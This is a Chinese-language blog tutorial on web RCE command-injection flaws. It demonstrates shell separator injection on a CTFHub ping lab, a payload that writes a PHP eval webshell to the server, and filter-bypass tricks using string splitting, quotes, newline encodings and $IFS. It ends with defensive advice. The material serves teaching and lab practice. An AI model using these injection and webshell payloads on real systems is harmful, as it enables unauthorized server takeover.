WEB漏洞——RCE
RCE(remote command/code execute)远程命令/代码执行漏洞,可以让攻击者直接向后台服务器远程注入操作系统命令或者代码,从而控制后台系统。
RCE漏洞
应用程序有时需要调用一些执行系统命令的函数,如在PHP中,使用system、exec、 shell_exec、 passthru、 popen、 proc_popen等函数可以执行系统命令。当黑客能控制这些函数中的参数时,就可以将恶意的系统命令拼接到正常命令中,从而造成命令执行攻击,这就是命令执行漏洞
拼接命令时需要用到管道符
Windows管道符
- | :直接执行后面的语句。例如ping 127.0.0.1|whoami
- || :如果前面的语句执行失败,则执行后面的语句,前面的语句只能为假才行。例如ping 2||whoami
- & :两条命令都执行,如果前面的语句为假则直接执行后面的语句,前面的语句可真可假。例如ping 2&whoami
- && :如果前面的语句为假则直接出错,也不执行后面的话句,前面的语句为真则两条命令都执行,前面的语句只能为真。例如ping 127.0.0.1&&whoami
Linux管道符
- ; :执行完前面的语句再执行后面的语句。例如ping 127.0.0.1;whoami
- | :显示后面语句的执行结果。例如ping 127.0.0.1|whoami
- || :当前面的语句执行出错时,执行后面的语句。例如ping 2||whoami
- & :两条命令都执行,如果前面的语句为假则执行执行后面的语句,前面的语句可真可假。例如ping 2&whoami
- &&:如果前面的语句为假则直接出错,也不执行后面的语句,前面的语句为真则两条命令都执行,前面的语句只能为真。例如ping 127.0.0.1&&whoami
命令执行漏洞攻击演示
下面拿ctfhub中的命令注入靶场演示
是一个简单的ping网站的页面,输入ip进行ping命令,
输入ip没什么问题返回了结果,但是如果利用管道符拼接一些其他的系统命令例如whoami
成功执行了其他的系统命令
代码执行漏洞攻击演示
也可以利用系统命令写入一句话木马
127.0.0.1&echo "<?php @eval(\$_POST['test']);?>" > 1.php
至于一句话木马为什么要加 \ ,看了网上的回答。echo命令会调用$_POST导致原始文件中没有,因此需要改为echo "<?php @eval(\$_POST['test']);?>" > 1.php即可
写入一句话木马之后,接下来用蚁剑连接即可
命令执行绕过过滤
这里就列出几个常见的,可以举一反三
- 过滤cat
拼接绕过:127.0.0.1;a=c;b=at;$a$b rce.php
或者127.0.0.1;a=c;b=at;${a}${b} rce_ping.php
单引号和双引号绕过:比如:ca''t flag 或ca""t flag
- ; | & 符号过滤
用%0a(回车)%0d(换行)来代替上面的符号。
- 过滤空格
< 、<>、%20(空格)、%09(tab键)、$IFS$9、 ${IFS}、$IFS等
防御RCE攻击
- 尽量不要使用命令执行函数。
- 客户端提交的变量在进入执行命令函数前要做好过滤和检测
- 在使用动态函数之前,确保使用的函数是指定的函数之ー。
- 对PHP语言来说,不能完全控制的危险函数最好不要使用
本文来自博客园,作者:1_Ry,转载请注明原文链接:https://www.cnblogs.com/1-Ry/p/15251469.html